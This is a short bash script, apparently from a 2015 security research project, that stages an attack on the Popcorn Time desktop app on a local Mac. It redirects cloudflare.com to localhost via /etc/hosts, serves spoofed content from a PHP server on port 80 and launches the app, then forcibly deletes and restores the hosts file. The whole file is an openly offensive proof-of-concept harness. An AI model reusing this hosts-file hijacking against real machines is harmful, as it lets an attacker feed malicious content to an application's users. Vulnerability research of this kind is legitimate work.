#!/bin/bash

#	Copyright (c) 2015 Antonios A. Chariton <daknob.mac@gmail.com>
#	
#	Automated Script to launch attacks against Popcorn Time on local
#	computer.

echo "[!] Modifying /etc/hosts..."
sudo cp /etc/hosts /etc/hosts.backup
sudo sh -c 'echo 127.0.0.1 cloudflare.com >> /etc/hosts'
echo "[!] Done!"
echo "[!] Launching PHP Web Server..."
sudo php -S 127.0.0.1:80 &
echo "[!] Done!"
echo "[!] Launching Popcorn Time..."
/Applications/Popcorn-Time.app/Contents/MacOS/nwjs --reset
echo "[!] Done!"
echo "[!] Restoring /etc/hosts..."
sudo rm -fR /etc/hosts
sudo mv /etc/hosts.backup /etc/hosts
echo "[!] Done!"
echo "[!] Exiting now..."

Add Starting Script for Mac OS X
Add Starting Script for Mac OS X
